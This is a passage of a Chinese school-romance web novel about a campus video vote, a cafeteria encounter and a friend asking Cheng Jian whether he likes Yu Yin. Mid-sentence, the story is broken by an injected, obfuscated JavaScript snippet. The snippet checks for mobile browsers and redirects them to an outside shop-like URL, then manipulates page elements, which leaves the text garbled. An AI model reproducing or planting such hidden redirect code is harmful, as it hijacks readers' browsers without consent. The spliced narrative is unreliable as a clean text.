谁能想到电影上映后,网上播放量最高的一个仅仅两秒钟的片段,被网友配上各种充满故事性的凄惨的音乐,直冲热搜。 #女鬼圈来了新人# 虽然火的奇奇怪怪又出乎意料,但才过一晚余音就挤进校内宣传片投票榜单的第一页,和程简一前一后,但离第二名的谭应钦还是差了不少。 食堂里,江雀捏着手机,一脸不可思议:“真是奇怪了,前两名的票数怎么还在涨,而且涨幅惊人!” “你能刷票,别人就不能刷吗?”同样在打餐队列的程简小声嘟哝。 “第一第二的票数加起来超过一万,可我们学校一共就三千多学生。这不是一眼假吗。难道学校后台查不出来!” “学生只有三千,但是还有家长,家长也有亲戚朋友啊。” 程简说得有道理,江雀暗暗咬紧了牙,凑近余音的耳朵无奈道:“没办法了,我们只能启动PlanB了。” 什么是PlanB? 余音还没来得及转头问,后背突然被人一推,她踉跄几步,从好不容易排到中间的队伍中脱离出来。 她对自己无意撞到的同学说了声“抱歉”,接着回头纳闷地看着把自己推出队列的江雀。程简和喻槐安同样不解。 江雀冲她疯狂眨着眼睛,手指快速指了下她身后。 余音回头,和那道比春风更柔情万分的视线撞上,嗓子像被蜂蜜黏住似的,说不出话。 “你从我这里开始排吧,我去后面。” 谭应钦侧过肩膀,把余音拉进队伍,自己则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477984|201593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转身朝望不到头的队末走去。 余音望着他渐远的背影,一边为之心动,一边为之后悔。这次又没谭应钦说上话,还有她刚刚是不是太呆了,都没来得及和他说谢谢。 午饭时间,四个人出奇地安静。尤其是程简,安静得像换了个人似的。 他手里的勺子拿起放下,放下又拿起,盘里的食物却没有减少的迹象。 余音刚想关心他,可他蓦地站起身,眉眼少见的冷峻:“我有点事,先走了。” 明晃晃的心情不好,能让他心情不好的必定是大事。虽然没办法做到绝对的排忧解难,但帮同桌填饱肚子,这点小事对余音来说轻而易举。 等大家都吃饱后,她拉着江雀直奔小卖部,站在冰柜前犹疑不定:“江雀,你知道程简都喜欢吃什么吗?” “他不挑食。” 她拿起一瓶酸奶,“你说,他喜欢原味还是其他味道?” “随便。” 在回教室的路上,江雀也突然说自己有事,一溜烟地就跑开了。 大家似乎都有事瞒着她。余音手里拿着三明治和酸奶,心里突然很不是滋味。 也对,在她来之前,他们都有自己的朋友,她只是他们的朋友之一。 * 江雀站在楼道的拐角处,看见站在走廊尽头的人,正午的阳光穿透繁密的树叶,星星点点的光落在他的脸上,意气风发的少年难得安静。 这小子确实有几分姿色,难怪大家会把他投到第一页。江雀想着,清了清嗓子,大力一拍他的肩膀:“想什么呢?” 程简吃痛地直起腰,接着一手搭在栏杆上,一手遮住被阳光直射的眼皮:“你怎么来了?无事不登三宝殿,准没好事。” “没事就不能来看看你吗?”江雀背靠着栏杆,后仰着头,眯起眼睛去看太阳。 “无事献殷勤,可是非奸即盗啊。” 江雀懒得和他贫嘴,迅速转过身子盯着他,直言问:“你是不是在吃醋?” 程简的嘴角突然顿住,视线飘忽不定:“......我吃什么醋?吃谁的醋?” “掩饰就是事实。” “没有,你别捕风捉影。” 江雀环顾周围,确认四下无人,紧盯住程简,小声道:“我看出来了,你喜欢余音,不是朋友也不是同桌的喜欢。” 指尖敲响栏杆的声音骤然消失,程简把落在远处茂密树顶的目光收回,阑干上的有了些锈迹,他用手指按住,应道: “嗯。” 喜欢,不是朋友也不是同桌的喜欢,就是喜欢。 “你这是见色起意!” 江雀一拳砸在程简的肩胛骨上,力道不小。 程简吃痛地“哎呦”一声,理直气壮道:“你这是妄下定义。”